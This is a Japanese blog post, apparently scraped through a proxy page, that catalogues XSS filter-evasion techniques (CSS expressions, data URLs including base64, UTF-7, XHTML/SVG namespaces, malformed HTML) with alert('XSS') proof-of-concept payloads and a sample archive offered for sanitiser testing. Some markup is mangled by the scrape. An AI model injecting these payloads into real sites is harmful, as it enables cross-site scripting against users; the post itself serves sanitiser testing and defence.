Movatterモバイル変換


[0]ホーム

URL:


うなの日記

無料で使えるシステムトレードフレームワーク「Jiji」をリリースしました!

・OANDA Trade APIを利用した、オープンソースのシステムトレードフレームワークです。
・自分だけの取引アルゴリズムで、誰でも、いますぐ、かんたんに、自動取引を開始できます。

この広告は、90日以上更新していないブログに表示しています。

XSSの攻撃手法いろいろ

html5securityのサイトに、XSSの各種攻撃手法がまとめられているのを発見せり!ということで、個人的に「お!」と思った攻撃をサンプルつきでご紹介します。

1.CSS Expression

IE7以前には「CSS Expressions」という拡張機能があり、CSS内でJavaScriptを実行できたりします。

<divstyle="color:expression(alert('XSS'));">a</div>

確認

@IT -[柔軟すぎる]IEのCSS解釈で起こるXSSで詳しく解説されていますが、CSSの解釈が柔軟なことともあいまって自前で無害化するのはなかなか困難。以下のようなコードでもスクリプトが実行されてしまいます。

<divstyle="color:expr/* コメントの挿入 */ession(alert('XSS'));">a</div>

確認

<divstyle="color:&#x65;xpression(alert('XSS'));">a</div><divstyle="color:\0065xpression(alert('XSS2'));">b</div>

確認


似たような話で「behavior」を使う攻撃もあります。こちらは指定したJScriptを実行できるとのこと。

<divstyle='behavior:url(test.sct)'>a</div>

確認

2. data URL

URLにデータを埋め込む「data URL」スキームを利用して、iframeやobjectに攻撃用スクリプトをロードさせる手法。

<iframesrc="data:text/html,<script>alert('XSS')</script>"></iframe><objectdata="data:text/html,<script>alert('XSS2')</script>"></object>

確認

base64エンコードしたデータも指定でき、この場合単純な文字列探索(「script」タグを探すとか)では攻撃を検知できません。data URL自体を拒否する対処が必要です。

<iframesrc='data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4='></iframe

確認

3.UTF-7

マイナーなUTF-7エンコードを使用した攻撃。

  1. UTF-7では「<」が「+ADw-」になるので、そこを付いてタグのエスケープを回避
  2. その上で、クライアント側でHTMLの文字コードUTF-7と認識させることでスクリプトを実行させる

というものです。詳細はITPro - UTF-7とクロスサイト・スクリプティングを参照。

<metahttp-equiv="Content-Type"content="text/html; charset=UTF-7"/>+ADw-script+AD4-alert('XSS')+ADsAPA-/script+AD4-

確認

エンコードの自動判断によってUTF-7と認識される場合もあるらしく、以下のような場合にも注意が必要とのこと。

4.XML + ネームスペース

XMLでもxhtmlのネームスペースが付与されているとFireFoxではxhtmlと解釈され、スクリプトが実行されます。

<?xml version="1.0" encoding="UTF-8"?><test><bodyxmlns="http://www.w3.org/1999/xhtml"onload="alert('XSS');"></body></test>

確認
XMLだからといって安心しては危険。また、同様に、SVGでもスクリプトが実行できたりします。

<?xml version="1.0" encoding="UTF-8"?><svgxmlns='http://www.w3.org/2000/svg'><gonload="#"http://unageanu.sakura.ne.jp/blog-samples/2010/0619/xml-2.svg">確認

5. HTMLの解釈関連

あとは、HTMLの構造が不正だけど、ブラウザの解釈によってスクリプトが実行されるよー、というたぐいのものを3つほど。

<b>aaaa<script<b></b><alert('XSS')</script </b>

確認 ※FireFoxのみ

<b<script>alert('XSS')</script>0

確認 ※FireFoxのみ

<style><imgsrc='</style><imgsrc=x onerror=alert("XSS")//'>

確認

・・・

紹介は以上。私が無知なだけかもですが、いろいろとありますなー。

zipでくれ!

最後に、マニアックな需要がありそうなので、↑のサンプルをzipにまとめたものもご提供しておきます。

→上記サンプルのzipアーカイブ

サニタイザ評価用データの足しにでもどうぞ。

作ったもの
Jiji
Jiji
無料で使えるシステムトレードフレームワーク
20150312094452
すぐねこ
3秒でこねこに会える、シンプル猫画像ビューア
javaclass
java class file parser for ruby.
検索
カテゴリー

引用をストックしました

引用するにはまずログインしてください

引用をストックできませんでした。再度お試しください

限定公開記事のため引用できません。

読者です読者をやめる読者になる読者になる

[8]ページ先頭

©2009-2025 Movatter.jp